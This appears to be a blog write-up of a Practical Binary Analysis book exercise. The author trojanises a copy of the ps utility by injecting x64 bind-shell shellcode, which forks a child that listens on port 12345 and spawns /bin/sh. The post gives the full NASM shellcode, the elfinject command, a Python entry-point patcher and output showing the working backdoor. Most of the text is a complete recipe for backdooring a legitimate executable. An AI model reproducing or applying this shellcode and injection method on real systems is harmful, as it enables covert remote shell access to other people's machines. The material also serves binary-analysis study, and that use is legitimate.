Recently, I have decided to tackle another challenge from the Practical Binary Analysis book, which is the latest one from Chapter 7.
It asks the reader to create a parasite binary from a legitimate one. I have picked ps, the process snapshot utility, where I have implanted a bind-shell as a child process.
Inspecting the target
Let’s start our ride by creating a copy of the original executable (can be anyone) into our working folder.
$ cp /bin/ps ps_teo
And take note of the original entry point.
$ readelf -h ps_teo ELF Header: ... Entry point address: 0x402f10 ...
We will be replacing the original entry point with the address of our malicious section and restore normal execution after the shellcode has done its job. But, before jumping to that we should plan our shellcode.
Shellcoding our way out
We said we want a bind shell, right? Here a modified version of a standard x64 bindshell, where we make use of the fork systemcall to spawn a child process.
BITS 64 SECTION .text global main section .text main: push rax ; save all clobbered registers push rcx push rdx push rsi push rdi push r11 ;fork xor rax,rax add rax,57 syscall cmp eax, 0 jz child parent: pop r11 ; restore all registers pop rdi pop rsi pop rdx pop rcx pop rax push 0x402f10 ; jump to original entry point ret child: ; socket xor eax,eax xor ebx,ebx xor edx,edx ;socket mov al,0x1 mov esi,eax inc al mov edi,eax mov dl,0x6 mov al,0x29 ; sys_socket (syscall 41) syscall xchg ebx,eax ; bind xor rax,rax push rax push 0x39300102. ; port 12345 mov [rsp+1],al mov rsi,rsp mov dl,16 mov edi,ebx mov al,0x31 ; sys_bind (syscall 49) syscall ;listen mov al,0x5 mov esi,eax mov edi,ebx mov al,0x32 ; sys_listen (syscall 50) syscall ;accept xor edx,edx xor esi,esi mov edi,ebx mov al,0x2b ; sys_accept (43) syscall mov edi,eax ; store socket ;dup2 xor rax,rax mov esi,eax mov al,0x21 ; sys_dup2 (syscall 33) syscall inc al mov esi,eax mov al,0x21 syscall inc al mov esi,eax mov al,0x21 syscall ;exec xor rdx,rdx mov rbx,0x68732f6e69622fff shr rbx,0x8 push rbx mov rdi,rsp xor rax,rax push rax push rdi mov rsi,rsp mov al,0x3b ; sys_execve (59) syscall call exit exit: mov ebx,0 ; Exit code mov eax,60 ; SYS_EXIT int 0x80
We start by saving all registers, then we call the child routine and we finish by restoring execution to the original entry point. Let’s now create a raw binary from this NASM file, which can be used by our injection process later on.
nasm -f bin -o bind_shell.bin bind_shell.s
Our very next step is to inject a bind-shell into the ps ELF via a tool named aptly ELF Inject, which is available from the book source code.
./elfinject ps_teo bind_shell.bin ".injected" 0x800000 -1
If we inspect the binary once more, we can notice the new .injected section around location 0x800000
$ readelf --wide --headers ps_teo | grep injected  .injected PROGBITS 0000000000800c80 017c80 0000b0 00 AX 0 0 16
Guess what? The value 800c80 is going to be our new entry point.
I wrote a quick and dirt script that patch the entry-point on the fly.
import sys import binascii # usage: ep_patcher.py -filename -new_entrypoint patch_file_input = sys.argv new_ep = sys.argv new_ep = binascii.unhexlify(new_ep) with open(patch_file_input, 'rb+') as f: f.seek(24) f.write(new_ep)
We can test it and…
python patcher.py ps_teo 800c80
…we can verify that the new entry point has been modified correctly:
$ readelf -h ps_teo ELF Header: ... Entry point address: 0x800c80 ...
After we ran the injected version of ps, we can notice a new listening socket on port 12345:
$ netstat -antulp | grep 12345 tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 6898/ps_teo
Which leads to the expected backdoor:
$ nc localhost 12345 id uid=1000(binary) gid=1000(binary) groups=1000(binary),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) whoami binary
2da5b52 @ 2019-07-20